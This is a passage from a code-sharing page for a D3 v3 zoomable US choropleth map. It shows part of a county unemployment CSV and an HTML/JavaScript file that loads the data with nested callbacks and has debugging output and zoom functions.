forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/867a7b513aa7edaf41dc798dd6be4d5a">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.2&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;.state&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
